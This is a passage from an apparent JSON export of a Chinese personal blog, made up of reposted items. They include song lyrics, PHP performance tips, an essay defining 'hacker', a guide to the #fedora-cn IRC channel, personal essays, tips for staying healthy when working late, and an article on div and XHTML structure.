这首歌后来在港台也被多次转译翻唱，其中张明敏唱的《毕业生》曾被许多大陆人认为是原创校园歌曲（80年代时），其实就是它。想必和我一样生于1970年代的朋友们会有印象。 校园版《毕业生》歌词如下： 蝉声中那南风吹来 校园里凤凰花又开 无限的离情充满心怀 心难舍师恩深如海 回忆当年离乡背井 深夜里梦回旧家园 游子的热泪沾湿枕畔 最难忘父母的慈颜 还记得那阳光遍地 也记得寒风又苦雨 无论是快乐失意日子 最温暖美好的友谊 祝福声中默默回忆 琴声起骊歌正悠扬 莫犹豫也莫再迟疑 好男儿鹏程千万里 ","permalink":"https://hessian.cn/p/514.html","summary":"斯镇的颂歌(Scarborough-Fair) src:http://www.miba.cn/bbs/viewthread.php?tid=3156\nhttp://image2.sina.com.cn/dongman/f/2004-04-08/U4P55T4D18090F248DT20040408143519.swf\n《Scarborough Fair》是美国六十年代最受大学生欢迎的电影、1968年奥斯卡获奖片《毕业生》（达斯汀·霍夫曼主演，其成名作）中的主题曲，歌曲名称： 《Scarborough Fair》（中译：斯坎伯瑞集市），原唱歌手：Paul Simon （保罗·西蒙）和Art Garfunkel（加芬克尔），作词：Paul Simon － Art Garfunkel，作曲：Paul Simon － Art Garfunke。我也收藏有莎拉·布莱曼翻唱的。片中的另一首歌曲《寂静之声》也很出名，想大家也是听过的。 ","title":"[转] 斯镇的颂歌(Scarborough-Fair)"},{"content":"","permalink":"https://hessian.cn/p/427.html","summary":"","title":"Clémence – \"Concerto pour deux voix\""},{"content":"src: http://www.phpchina.com/78/viewspace_25713.html\n1.如果一个方法可静态化，就对它做静态声明。速率可提升至4倍。\n2.echo 比 print 快。\n3.使用echo的多重参数（译注：指用逗号而不是句点）代替字符串连接。\n4.在执行for循环之前确定最大循环数，不要每循环一次都计算最大值。\n5.注销那些不用的变量尤其是大数组，以便释放内存。\n6.尽量避免使用__get，__set，__autoload。\n7.require_once()代价昂贵。\n8.在包含文件时使用完整路径，解析操作系统路径所需的时间会更少。\n9.如果你想知道脚本开始执行（译注：即服务器端收到客户端请求）的时刻，使用$_SERVER[\u0026lsquo;REQUEST_TIME\u0026rsquo;]要好于time()。\n10.函数代替正则表达式完成相同功能。\n11.str_replace函数比preg_replace函数快，但strtr函数的效率是str_replace函数的四倍。\n12.如果一个字符串替换函数，可接受数组或字符作为参数，并且参数长度不太长，那么可以考虑额外写一段替换代码，使得每次传递参数是一个字符，而不是只写一行代码接受数组作为查询和替换的参数。\n13.使用选择分支语句（译注：即switch case）好于使用多个if，else if语句。\n14.用@屏蔽错误消息的做法非常低效。\n15.打开apache的mod_deflate模块。\n16.数据库连接当使用完毕时应关掉。\n17.$row[\u0026lsquo;id\u0026rsquo;]的效率是$row[id]的7倍。\n18.错误消息代价昂贵。\n19.尽量不要在for循环中使用函数，比如for ($x=0; $x \u0026lt; count($array); $x)每循环一次都会调用count()函数。\n20.在方法中递增局部变量，速度是最快的。几乎与在函数中调用局部变量的速度相当。\n21.递增一个全局变量要比递增一个局部变量慢2倍。\n22.递增一个对象属性（如：$this-\u0026gt;prop++）要比递增一个局部变量慢3倍。\n23.递增一个未预定义的局部变量要比递增一个预定义的局部变量慢9至10倍。\n24.仅定义一个局部变量而没在函数中调用它，同样会减慢速度（其程度相当于递增一个局部变量）。PHP大概会检查看是否存在全局变量。\n25.方法调用看来与类中定义的方法的数量无关，因为我（在测试方法之前和之后都）添加了10个方法，但性能上没有变化。\n26.派生类中的方法运行起来要快于在基类中定义的同样的方法。\n27.调用带有一个参数的空函数，其花费的时间相当于执行7至8次的局部变量递增操作。类似的方法调用所花费的时间接近于15次的局部变量递增操作。\n28.用单引号代替双引号来包含字符串，这样做会更快一些。因为PHP会在双引号包围的字符串中搜寻变量，单引号则不会。当然，只有当你不需要在字符串中包含变量时才可以这么做。\n29.输出多个字符串时，用逗号代替句点来分隔字符串，速度更快。注意：只有echo能这么做，它是一种可以把多个字符串当作参数的\u0026ldquo;函数\u0026rdquo;（译注：PHP手册中说echo是语言结构，不是真正的函数，故把函数加上了双引号）。\n30.Apache解析一个PHP脚本的时间要比解析一个静态HTML页面慢2至10倍。尽量多用静态HTML页面，少用脚本。\n31.除非脚本可以缓存，否则每次调用时都会重新编译一次。引入一套PHP缓存机制通常可以提升25%至100%的性能，以免除编译开销。\n32.尽量做缓存，可使用memcached。memcached是一款高性能的内存对象缓存系统，可用来加速动态Web应用程序，减轻数据库负载。对运算码 (OP code)的缓存很有用，使得脚本不必为每个请求做重新编译。\n33. 当操作字符串并需要检验其长度是否满足某种要求时，你想当然地会使用strlen()函数。此函数执行起来相当快，因为它不做任何计算，只返回在zval 结构（C的内置数据结构，用于存储PHP变量）中存储的已知字符串长度。但是，由于strlen()是函数，多多少少会有些慢，因为函数调用会经过诸多步 骤，如字母小写化（译注：指函数名小写化，PHP不区分函数名大小写）、哈希查找，会跟随被调用的函数一起执行。在某些情况下，你可以使用isset() 技巧加速执行你的代码。\n（举例如下）\nif (strlen($foo) \u0026lt; 5) { echo \u0026quot;Foo is too short\u0026quot;; }\n（与下面的技巧做比较）\nif (!isset($foo{5})) { echo \u0026quot;Foo is too short\u0026quot;; }\n调用isset()恰巧比strlen()快，因为与后者不同的是，isset()作为一种语言结构，意味着它的执行不需要函数查找和字母小写化。也就是说，实际上在检验字符串长度的顶层代码中你没有花太多开销。\n34. 当执行变量$i的递增或递减时，$i++会比++$i慢一些。这种差异是PHP特有的，并不适用于其他语言，所以请不要修改你的C或Java代码并指望它 们能立即变快，没用的。++$i更快是因为它只需要3条指令(opcodes)，$i++则需要4条指令。后置递增实际上会产生一个临时变量，这个临时变 量随后被递增。而前置递增直接在原值上递增。这是最优化处理的一种，正如Zend的PHP优化器所作的那样。牢记这个优化处理不失为一个好主意，因为并不 是所有的指令优化器都会做同样的优化处理，并且存在大量没有装配指令优化器的互联网服务提供商（ISPs）和服务器。\n35.并不是事必面向对象(OOP)，面向对象往往开销很大，每个方法和对象调用都会消耗很多内存。\n36.并非要用类实现所有的数据结构，数组也很有用。\n37.不要把方法细分得过多，仔细想想你真正打算重用的是哪些代码？\n38.当你需要时，你总能把代码分解成方法。\n39.尽量采用大量的PHP内置函数。\n40.如果在代码中存在大量耗时的函数，你可以考虑用C扩展的方式实现它们。\n41.评估检验(profile)你的代码。检验器会告诉你，代码的哪些部分消耗了多少时间。Xdebug调试器包含了检验程序，评估检验总体上可以显示出代码的瓶颈。\n42.mod_zip可作为Apache模块，用来即时压缩你的数据，并可让数据传输量降低80%。\n","permalink":"https://hessian.cn/p/372.html","summary":"src: http://www.phpchina.com/78/viewspace_25713.html\n1.如果一个方法可静态化，就对它做静态声明。速率可提升至4倍。\n2.echo 比 print 快。\n3.使用echo的多重参数（译注：指用逗号而不是句点）代替字符串连接。\n4.在执行for循环之前确定最大循环数，不要每循环一次都计算最大值。\n","title":"优化 PHP 建议"},{"content":"src:http://topic.csdn.net/u/20080226/14/2e2b9c0d-6638-40f3-b76e-fedf6b38a993.html\n人们对黑客的误解，超出了我想象的范围，包括我自己，知道2008年的一天我看到了一个网络下载的光盘，对黑客的解释，才让我对黑客这个词做了真正的理解。 \u0026ldquo;黑客\u0026rdquo;一词是由英语Hacker英译出来的，是指专门研究、发现计算机和网络漏洞的计算机爱好者。他们伴随着计算机和网络的发展而产生成长。黑客对计算 机有着狂热的兴趣和执着的追求，他们不断地研究计算机和网络知识，发现计算机和网络中存在的漏洞，喜欢挑战高难度的网络系统并从中找到漏洞，然后向管理员 提出解决和修补漏洞的方法。 黑客不干涉政治，不受政治利用，他们的出现推动了计算机和网络的发展与完善。黑客所做的不是恶意破坏，他们是一群纵横与网络上的大侠，追求共享、免费，提 倡自由、平等。黑客的存在是由于计算机技术的不健全，从某中意义上来讲，计算机的安全需要更多黑客去维护。借用myhk的一句话\u0026ldquo;黑客存在的意义就是使网 络变的日益安全完善\u0026rdquo;。 但是到了今天，黑客一词已经被用于那些专门利用计算机进行破坏或入侵他人的代言词，对这些人正确的叫法应该是cracker，有人也翻译成\u0026ldquo;骇客\u0026rdquo;，也正 是由于这些人的出现玷污了\u0026ldquo;黑客\u0026rdquo;一词，使人们把黑客和骇客混为一体，黑客被人们认为是在网络上进行破坏的人。 一个黑客即使从意识和技术水平上已经达到黑客水平，也决不会声称自己是一名黑客，因为黑客只有大家推认的，没有自封的，他们重视技术，更重视思想和品质。　全文地址：　http://www.web1357.cn/post/hacker_understand.html\n","permalink":"https://hessian.cn/p/561.html","summary":"src:http://topic.csdn.net/u/20080226/14/2e2b9c0d-6638-40f3-b76e-fedf6b38a993.html\n人们对黑客的误解，超出了我想象的范围，包括我自己，知道2008年的一天我看到了一个网络下载的光盘，对黑客的解释，才让我对黑客这个词做了真正的理解。 ","title":"[转] 写给不了解黑客的人"},{"content":"src:http://www.linuxsir.org/bbs/thread266632.html\n我们也有 freenode IRC 聊天室了(#fedora-cn)！\n加入聊天室的方法如下：\n代码: * 到 https://addons.mozilla.org/firefox/16/ 安装 firefox 插件 chatzilla\n* (安装插件需要关闭 firefox 再打开)\n* 在 firefox 地址栏输入 irc://freenode/fedora-cn\n* 输入地址后，会自动运行 chatzilla 并连接到聊天室 #fedora-cn\n* 请向大家介绍自己，并在退出之前稍候一段时间，使大家可以回应你 想了解更多 IRC 相关的内容，请继续往下阅读。\nIRC 是最传统的聊天室。 freenode IRC 是专为开源和自由软件社区开设的。大家遇到问题时，可以请教高手，或是互相帮助，即时得到解答。 IRC 与邮件列表、新闻组、论坛、文档库等等都是学习 linux，迅速提高自身能力的好办法。\nIRC 需要所有参与者的共同努力，才能热闹兴旺。请不要吝啬您的时间和精力！(有本事的露两手，没功力的捧个场儿！ chatzilla 的界面由几个部分组成：用户列表，消息窗口，文本输入框。\n在文本输入框可以输入消息，按下回车就会发送出去。如果消息以斜线 `/\u0026#8217; 开头，就会被识别为一个命令。斜线后面不要加空格。\n常用的命令有很多，可以用 /command 列出所有命令，用 /help 命令名 查询每个命令的作用。\n为了在频道中聊天时更引人注目，或者想更令人难忘，可以改变昵称。比如，要使用 nnnnn 作为昵称，可以输入 nick 命令\n代码: /nick nnnnn 这个昵称不是永久有效的，如果希望每次登录都能使用相同的昵称，必须注册它。比如，要注册 nnnnn 昵称，使用 zzzzz 作为每次登录时的密码，就输入这样的命令\n代码: /nick nnnnn\n/ns reg zzzzz 然后，在每次登录时，验证自己的身份，输入这样的命令\n代码: /nick nnnnn\n/ns id zzzzz 验证身份之后就可以在各个聊天室中畅通无阻了。比如要加入 #fedora 聊天室，可以输入 join 命令\n代码: /join #fedora 如果没有验证身份，就无法加入 #fedora，也无法在一些聊天室中发言，还有可能被踢出来。\n离开一个聊天室的命令是 leave，暂时离开聊天室的命令是 away\n代码: /leave\n/away 可以同时加入多个聊天室，因此不必离开一个再进入另一个。\n其他常用命令可以看\n代码: http://zh.wikipedia.org/wiki/IRC\nhttp://www.chatkey.com/help/irc_train.htm\nhttp://pcman.sayya.org/irc/ Chatzilla 可以在 win32 和 Linux 中使用，只依赖于 firefox。其他 IRC 客户端包括 xchat, gaim 等，请 Google 相关文档。\n目前 #fedora-cn 的信息如下，欢迎大家挂站，多多交流：\n代码: /msg chanserv info #fedora-cn\nChannel: #fedora-cn\nContact: bbbush, last seen: 1 week 4 days (0h 57m 12s) ago\nAlternate: hellwolf, last seen: 44 weeks 2 days (2h 5m 48s) ago\nRegistered: 49 weeks 4 days (11h 18m 18s) ago\nTopic: /charset utf-8 | 邮件列表 http://groups.google.com/group/fedora-cn | 论坛 http://www.linuxsir.org/bbs/forumdisplay.php?f=40 | 中文文档 http://fedora.linuxsir.org | 软件仓库 ftp://ftp.fedora.cn | 20070315 RHEL5 发布 http://www.redhat.com/videos/real_tech/ | 20070531 fedora 7 发布 http://torrent.fedoraproject.org\nEmail: fedora-cn@googlegroups.com\nContact URI: ftp://ftp.fedora.cn\nOptions: TopicLock, Secure, SecureOps, ChanGuard\nMode Lock: -s+ntc\nChanServ* [#fedora-cn] /charset utf-8 | mIRC 请设置 Font...-\u0026gt;UTF-8: \u0026quot;Display and Encode\u0026quot; | Opera 请设置帐户属性-\u0026gt;发送-\u0026gt;默认编码: utf-8 | 请向大家介绍自己，并在退出之前稍候一段时间，使大家可以回应你 | 多行信息请贴到 http://rafb.net/paste/ 或 http://paste.ubuntu.org.cn 如果进入频道时看到乱码，请输入命令\n代码: /charset utf-8 又及，\n* 请警告 mIRC 用户在 Font\u0026#8230; 字体对话框里，选择 UTF-8=\u0026quot;Display and Encode\u0026quot;，以免制造麻烦，发生冲突\n* 请警告 Opera 用户在 IRC 账户属性对话框的\u0026ldquo;发送\u0026rdquo;页面里，设置默认编码: utf-8\n* HydraIRC 不支持 UTF-8\n* TIP: 为 Chatzilla 建立桌面快捷方式：firefox -chrome chrome://chatzilla/content/chatzilla.xul\n*NOTE* 通过 Tor 访问 freenode #fedora-cn 聊天室 (如果正常方式无法访问的话)\nhttp://www.linuxsir.org/bbs/showthread.php?t=308837\n","permalink":"https://hessian.cn/p/451.html","summary":"src:http://www.linuxsir.org/bbs/thread266632.html\n我们也有 freenode IRC 聊天室了(#fedora-cn)！\n加入聊天室的方法如下：\n代码: * 到 https://addons.mozilla.org/firefox/16/ 安装 firefox 插件 chatzilla\n* (安装插件需要关闭 firefox 再打开)\n* 在 firefox 地址栏输入 irc://freenode/fedora-cn\n* 输入地址后，会自动运行 chatzilla 并连接到聊天室 #fedora-cn\n* 请向大家介绍自己，并在退出之前稍候一段时间，使大家可以回应你 想了解更多 IRC 相关的内容，请继续往下阅读。\n","title":"聊天室：freenode IRC Channel #fedora-cn"},{"content":"src:http://yushunshun.blog.sohu.com/78984850.html\n某顺小时候很娇气，痛感神经特别丰富的某顺，至今没戴过耳环，原因是无法忍受耳垂扎眼的痛苦；青春期时某顺因月经疼、常常以头撞墙；再早一点，少年某顺拔个牙也鬼哭狼嚎、甚至打了麻药还能夺路而逃。就这么娇气的一个人，你相信我能连止痛棒也不用就熬过剖宫产后的头48小时？还坚决贯彻医嘱、术后第二天就自己下床去卫生间嘘嘘？肚皮上的刀口当时长过20CM，要说不疼，鬼都不信，要问怎么扛过来的，呵呵，我也不知道。\n而且，我打小就事多，没养孩子前我每晚躺下，两手都要在身下的床单上一寸寸地游走半天，仔细摸索很长时间后才能睡着\u0026mdash;\u0026mdash;我在找手心能感觉到而肉眼难以发现的每一个微小的线头，或大颗的灰尘，不拣干净，我难以入睡。就这么难缠的一个人，你相信我这几年常睡到天亮才发现、我娃的小玩具在我脊背下压了一晚？再也没了让手心一遍遍捋床单的精气神了。有孩子后，一般我脑袋挨上枕头不足5分钟，就能呼呼了，累的。\n其实，这一切都不是被迫的，环境一变，人就变了。和习惯一起变化的，还有思想认识。\n过去我认为一生只能爱一个人，现在我以为是爱就不错、甭管它爱几回了。过去我认为是亲爹亲妈都疼爱孩子，现在我常见 某些爹娘为了相好、不管不顾自己的骨肉。过去我认为性和爱是高度和谐的统一体，有爱才有性、有性就有爱；现在，我也不这么想了，因为我发觉把性和爱搅和在 一起，是传统世界观在造孽，等于叫你相信：如果你吃饱了，那你一定是吃了你爱吃的东西\u0026mdash;\u0026mdash;可事实弗然啊，我们一生中吃的大多东西，都为果腹，而非我们想吃 的。\n一旦意识到性爱能分离，连道德世界都要重新修整了。我开始原谅所有的背叛和所有的龌龊。理解很重要。有人辜负了你， 可他满足了他自己的想要，这叫自私，但也叫对自己负责。你能指责一个对自己负责的人吗？再换位思考，如果他对他自己都不负责，又能对你负责多久？所以，我 总是毫不客气地\u0026ldquo;揭\u0026rdquo;男人的皮，也总在数落女人的纠缠。男人这么做就对了，你不满意是因为你有不切实际的幻想。真实的人性，不仅是男人无法逃避的，女人也一样难脱干系。我们有幸目睹\u0026ldquo;集中问答\u0026rdquo;里无数的怨妇，她们一边惦记着别的男人，一边对眼前的男人咬牙。呵呵，没人无辜，真的。\n以前我写过一篇《没人故意要变心》，现在我依然这么想：变心是正常的，不变心才奇怪呢。连植物都知道迎着太阳抻长脖 子，人为了自己舒坦、去追寻心中想，有错吗？怎么看也合乎客观规律啊。至于他舍本求末不分孬好地折腾，你不必为他计算得失，因为在爱人心里，有爱就有一 切。\u0026mdash;\u0026mdash;尽管我们相信性爱能分离，但我们依然追求性爱的完美结合，所以，你该明白了吧，那个不顾一切要跟人跑的家伙，是去圆他自己的梦了；那个对你大抛媚 眼的人，也是拿你当他实现性爱合一的理想对手了。\n将来如何，将来再说。惟有现在，除了接纳，除了享受，你看不到更好的办法。各种各样的习惯、嗜好、信仰、坚持，都会 在生活里一点点换了模样。彼此没变时，都该痴迷，都该沉醉，一旦有人变了，咱只有及时醒转。写到这里，你或许知道我在说什么了？是的，看淡别人的变心，关 注自己的幸福，随缘随份、不要执拗，才是快乐的关键。\n","permalink":"https://hessian.cn/p/368.html","summary":"src:http://yushunshun.blog.sohu.com/78984850.html\n某顺小时候很娇气，痛感神经特别丰富的某顺，至今没戴过耳环，原因是无法忍受耳垂扎眼的痛苦；青春期时某顺因月经疼、常常以头撞墙；再早一点，少年某顺拔个牙也鬼哭狼嚎、甚至打了麻药还能夺路而逃。就这么娇气的一个人，你相信我能连止痛棒也不用就熬过剖宫产后的头48小时？还坚决贯彻医嘱、术后第二天就自己下床去卫生间嘘嘘？肚皮上的刀口当时长过20CM，要说不疼，鬼都不信，要问怎么扛过来的，呵呵，我也不知道。\n而且，我打小就事多，没养孩子前我每晚躺下，两手都要在身下的床单上一寸寸地游走半天，仔细摸索很长时间后才能睡着\u0026mdash;\u0026mdash;我在找手心能感觉到而肉眼难以发现的每一个微小的线头，或大颗的灰尘，不拣干净，我难以入睡。就这么难缠的一个人，你相信我这几年常睡到天亮才发现、我娃的小玩具在我脊背下压了一晚？再也没了让手心一遍遍捋床单的精气神了。有孩子后，一般我脑袋挨上枕头不足5分钟，就能呼呼了，累的。\n其实，这一切都不是被迫的，环境一变，人就变了。和习惯一起变化的，还有思想认识。\n过去我认为一生只能爱一个人，现在我以为是爱就不错、甭管它爱几回了。过去我认为是亲爹亲妈都疼爱孩子，现在我常见 某些爹娘为了相好、不管不顾自己的骨肉。过去我认为性和爱是高度和谐的统一体，有爱才有性、有性就有爱；现在，我也不这么想了，因为我发觉把性和爱搅和在 一起，是传统世界观在造孽，等于叫你相信：如果你吃饱了，那你一定是吃了你爱吃的东西\u0026mdash;\u0026mdash;可事实弗然啊，我们一生中吃的大多东西，都为果腹，而非我们想吃 的。\n","title":"[转] 给变心找个说法"},{"content":"熬夜加班或者学习从来都得不偿失，原因如下： 第一，熬夜一般都会处于体力透支状态，此时工作效率明显降低，神情恍惚，工作的质量无法保证； 第二，熬夜会导致第二天无法按时起床，上班很可能迟到。加班没人夸奖，迟到可会有人叨叨； 第三，人的睡眠不能省，熬夜少睡的时间一定会以某种方式补回来，比如第二天打无数个哈欠； 第四，熬夜的人过于疲倦若是开车非常危险，很多交通发生都是因为司机过于疲惫睡着所制； 第五，熬夜对身体危害很大，女孩脸上的包，和眼袋都是证据。长期熬夜对身体大伤害是永久性的，要不怎么那么多人英年早逝，都是年轻的时候透支睡眠，不注意身体保养所以短命； 第六，熬夜工作和学习，没有时间与家人朋友共度良宵，影响感情，也会使熬夜的人处于感情饥渴状态，缺少温情的人总会出现脾气暴躁的病症； 第七，熬夜久了，一旦不熬夜便睡不着，积重难返； 熬夜的保健知识 网站上有很多\u0026ldquo;熬夜族\u0026rdquo;，为了工作，为了生计，辛苦的工作，现收集一些关于熬夜的保健知识，希望对大家健康有帮助。 信息 \u0026ldquo;日出而作，日落而息。\u0026rdquo;这是长期以来人类适应环境的结果。熬夜会损害身体健康。因为，人体肾上腺皮质激素和生长激素都是在夜间睡眠时才分泌的。前者在黎 明前分泌，具有促进人体糖类代谢、保障肌肉发育的功能；后者在入睡后方才产生，既促进青少年的生长发育。也能延缓中老年人衰老。故一天中睡眠最佳时间是晚 上10时到凌晨6时。 经常熬夜的人，应采取哪能些自我保健措施呢？一是加强营养，应选择量少质高的蛋白质、脂肪和维生素B族食物如牛奶、牛肉、猪肉、鱼类、豆类等，也可吃点干 果如核桃、大枣、桂圆、花生等，这样可以起到抗疲劳的功效。二是加强锻炼身体。可根据自己的年龄和兴趣进行锻炼，提高身体素质。熬夜中如感到精力不足或者 欲睡，就应做一会儿体操、太极拳或到户外活动一下。三是调整生理节律。常年熬夜者应根据作息时间表，并不断修改至适应。四是消除思想负担。常熬夜者切忌忧 虑和恐惧，应树立信心，在夜晚工作中保持愉快的心情和高昂的情绪。 ========================================== 熬夜族的饮食保健 夜工作者要供给充足的维生素A，因维生素A可调节视网膜感光物质\u0026mdash;\u0026mdash;\u0026mdash;视紫的合成，能提高熬夜工作者对昏暗光线的适应力，而防止视觉疲劳。 熬夜工作者劳动强度大，耗能多，应注意优质蛋白质的补充。动物蛋白质最好能达到蛋白质供应总量的一半。因为动物蛋白质含人体必需氨基酸，这对于保证熬夜工作者提高工作效率和身体健康是有好处的。 ========================================== 熬夜一族的自我保健 生活在节奏紧张的现代社会，没有熬过夜的人是幸运的人。熬夜会使身体的正常节律性发生紊乱，对视力、肠胃及睡眠都造成影响。那么，经常熬夜的人应该怎样自我保健呢？ 熬夜的人多半是做文字工作或经常操作电脑的人，在昏黄灯光下苦战一夜容易使眼肌疲劳、视力下降。卫生部北京医院营养科的主管营养师李长平大夫告诉记 者，维生素A及维生素B对预防视力减弱有一定效果，维生素A可调节视网膜感光物质\u0026mdash;\u0026mdash;视紫的合成，能提高熬夜工作者对昏暗光线的适应力，防止视觉疲劳。所 以要多吃胡萝卜、韭菜、鳗鱼等富含维生素A的食物，以及富含维生素B的瘦肉、鱼肉、猪肝等动物性食品。 此外，还应适当补充热量，吃一些水果、蔬菜及蛋白质食品如肉、蛋等来补充体力消耗，但千万不要大鱼大肉地猛吃。李长平大夫认为，吃一些花生米、杏仁、 腰果、胡桃等干果类食品，它们含有丰富的蛋白质、维生素B、维生素E、钙和铁等矿物质以及植物油，而胆固醇的含量很低，对恢复体能有特殊的功效。 除了在饮食上下功夫，熬夜一族要加强身体锻炼。熬夜中如感到精力不足或者欲睡，就应做一会儿体操或到户外活动一下。由于熬夜会占去正常睡眠的时间，因 此在补充睡眠上不妨见机行事。如下班回家时，在车上闭目养神片刻，或在单位午休时为自己安排一小会儿午睡等，可恢复体力，使精神振作。 ========================================== 熬夜工作有何技巧？ 熬夜加班，也要有技巧，才能依然身体硬朗。否则，铁打的身体，也受不了如此的日夜操劳呢！因此，想要熬夜的您，千万记住： 1.不要吃泡面来填饱肚子，以免火气太大。最好尽量以水果、土司、面包、清粥小菜来充饥。 2.开始熬夜前，来一颗维他命Ｂ群营养丸。维他命Ｂ能够解除疲劳，增强人体抗压力。 3.提神饮料，最好以绿茶为主，可以提神，又可以消除体内多余的自由基，让您神清气爽。但是胃肠不好的人，最好改喝枸杞子泡水的茶，可以解压，还可以明目呢！ 4.熬夜前千万记得卸妆，或是先把脸洗干净，以免厚厚的粉层或油渍，在熬夜的煎熬下，引发满脸痘痘。 5.熬夜之后，第二天中午时千万记得打个小盹。\n","permalink":"https://hessian.cn/p/482.html","summary":"熬夜加班或者学习从来都得不偿失，原因如下： 第一，熬夜一般都会处于体力透支状态，此时工作效率明显降低，神情恍惚，工作的质量无法保证； 第二，熬夜会导致第二天无法按时起床，上班很可能迟到。加班没人夸奖，迟到可会有人叨叨； 第三，人的睡眠不能省，熬夜少睡的时间一定会以某种方式补回来，比如第二天打无数个哈欠； 第四，熬夜的人过于疲倦若是开车非常危险，很多交通发生都是因为司机过于疲惫睡着所制； 第五，熬夜对身体危害很大，女孩脸上的包，和眼袋都是证据。长期熬夜对身体大伤害是永久性的，要不怎么那么多人英年早逝，都是年轻的时候透支睡眠，不注意身体保养所以短命； 第六，熬夜工作和学习，没有时间与家人朋友共度良宵，影响感情，也会使熬夜的人处于感情饥渴状态，缺少温情的人总会出现脾气暴躁的病症； 第七，熬夜久了，一旦不熬夜便睡不着，积重难返； ","title":"[转] 熬夜补救办法"},{"content":"hohohoho\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;.\n哪年都是\u0026#8230;.\n现在一个人再外面飘\u0026#8230;..更加悲惨啊\u0026#8230;\u0026#8230;\u0026#8230;\n","permalink":"https://hessian.cn/p/476.html","summary":"hohohoho\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;.\n哪年都是\u0026#8230;.\n现在一个人再外面飘\u0026#8230;..更加悲惨啊\u0026#8230;\u0026#8230;\u0026#8230;\n","title":"又是一个没有情人的情人节呀….."},{"content":"这次用白色的..\n其实感觉好刺眼\u0026#8230;.\n挺不习惯的呀 呵呵\n","permalink":"https://hessian.cn/p/350.html","summary":"这次用白色的..\n其实感觉好刺眼\u0026#8230;.\n挺不习惯的呀 呵呵\n","title":"我的blog换了新skin了…"},{"content":"　这是一个恋爱的季节　空气里都是情侣的味道　孤独的人是可耻的\n这是一个恋爱的季节　大家应该互相微笑　搂搂抱抱　这样就好\n我喜欢鲜花　城市里应该有鲜花　即使被人摘掉　鲜花也应该长出来\n这是一个恋爱的季节　大家应该相互交好　孤独的人是可耻的\n生命象鲜花一样绽开　我们不能让自己枯萎　没有选择　我们必须恋爱\n鲜花的爱情是随风飘散　随风飘散随风飘散　他们并不寻找并不依靠　非常地骄傲\n孤独的人　他们想象鲜花一样美丽　一朵骄傲的心风中飞舞跌落人们脚下\n可耻的人　他们反对生命反对无聊　为了美丽在风中在人们眼中变得枯萎\n我可耻吗?... ","permalink":"https://hessian.cn/p/322.html","summary":"　这是一个恋爱的季节　空气里都是情侣的味道　孤独的人是可耻的\n这是一个恋爱的季节　大家应该互相微笑　搂搂抱抱　这样就好\n我喜欢鲜花　城市里应该有鲜花　即使被人摘掉　鲜花也应该长出来\n这是一个恋爱的季节　大家应该相互交好　孤独的人是可耻的\n生命象鲜花一样绽开　我们不能让自己枯萎　没有选择　我们必须恋爱\n鲜花的爱情是随风飘散　随风飘散随风飘散　他们并不寻找并不依靠　非常地骄傲\n孤独的人　他们想象鲜花一样美丽　一朵骄傲的心风中飞舞跌落人们脚下\n可耻的人　他们反对生命反对无聊　为了美丽在风中在人们眼中变得枯萎\n我可耻吗?...","title":"[转] 孤独的人是可耻的…."},{"content":"src:http://yuntian.cnblogs.com/archive/2006/03/27/359542.html\n特意上网搜索了一下，关于div，说法很多。\n把div看成是布局元素这种观点我想是最多的，类似有\u0026ldquo;用div代替table进行布局\u0026rdquo;、\u0026ldquo;实战CSS+DIV布局\u0026rdquo;等等等等，太多了，还有不少 人延用Dreamweaver的定义，称div为层，按Photoshop的层的概念来使用……有朋友干脆就直接称div和span为辅助布局元素。\n怎么说呢？虽然我很想说对div类似的这种认识是错误的，div不是一个布局元素，没有一个tag是用来布局的，但是我是对的吗？我也不知道。几乎 所有人对div的宣传都是布局，不管是\u0026lsquo;民间\u0026rsquo;的还是\u0026lsquo;官方\u0026rsquo;的，但是如果我们找根源，中文中，div是一个结构化标签，是一个块级元素。好吧，我们首先 看看div拥有的语义，division（分隔），按语义它的作用是将两个部分分隔开来。然后我们再回到w3去看看怎么定义div和span的：The DIV and SPAN elements, in conjunction with the id and class attributes, offer a generic mechanism for adding structure to documents. These elements define content to be inline (SPAN) or block-level (DIV) but impose no other presentational idioms on the content.\n注意到我上面加粗的一句话了吗？W3可没说是 for layout，而是for structure，是结构！因为分隔从而产生（定义）一个代码结构。我想，结构和布局应该是两个概念吧。或许，因为table确实被用于布局了，所以这 种根深蒂固的布局思路又自然而然的转嫁到div上，我曾在很长一段时间里也是这么理解的。但是，现在我要说，这绝对是一个错误并且，这是极度严重的错误！！！这纯粹个人观点个人理解，自己取舍好了。\n为什么严重？理解的错误直接导致的就是使用的错误。因为如果按照这个思路，把div作为布局元素使用，那么我认为：\n你永远无法固定xhtml！永远陷在css的怪圈中！永远不会去思考和理解结构！永远擦不干净table烙下的痕迹！永远无法接近神（貌合神离的神哈，呵呵）……\n或许把div称为布局元素还是为了更好的推行标准，但是却将人们从一个错误带向了另一个错误。两年前我刚接触标准时就在《重构之美》首篇中迷惑过关于改版的事情，虽然随着理解的深入好像有了突破，在我写下xhtml后不变动，然后通过css的技巧来完成新版面。比如像著名的csszengarden。但是很快我又有新的迷惑，一个人这样做好像没什么问题，团队呢？比如如果同样的内容，设计成两个版式，然后交给不同的两个人来写xhtml，会一样吗？就像如果把csszengarden的 形式颠倒一下，基于同一份数据先做好100个设计稿，让100个人按照这个设计稿写100份xhtml，会一样吗？我想按照div布局模式，对于同样的版 式，不同人不同的页面分析都会产生不同的xhtml，更何况不同的版式呢？但是既然表现与结构无关，那么同样的内容不应该有2份以上的xhtml。不要小 看这个问题，对于团队中前后台的有效分离与快速协同，这是关键！我在培训中提出一个观点：最理想的境界是前台闭着眼睛都能知道后台输出的是什么样的xhtml结构代码。那么问题出在哪里？div布局！尤其是在理解了h系列标签不合理之后，体会更深刻。\n上篇文章我提出的关于结构应当分为两种：语义结构和代码结构。理解了这两个 结构之后，那么div的用处就比较明朗了，稍稍动动脑筋就能想到，用于组织代码结构。所以hx标签的问题我认为经典呢，不要说html了，即便对于 xhtml，大部分的人关心的仍是如何表现，小部分人关心语义结构，很少人去关心代码结构，似乎xml有了，xhtml就不需要代码结构了。但是从hx系 列的问题可以看出并延伸知道W3可一直在关心代码结构，从1.0，1.1直到2.0，一直希望xhtml拥有xml般严谨的代码结构。说到这里再多看 xhtml 2.0的另一个变化，br不再被推荐，应该很好理解了，br的语义是产生一个截断（break），但实际作用是产生一个行，语义结构上仍不完美，所以使用 line进行替代\u0026lt;line\u0026gt;this is one line\u0026lt;/line\u0026gt;。同样br也无代码结构可言，如果我想提取第三行的数据如何操作？所以很有可能类似br、hr这类标签都将被废弃。我 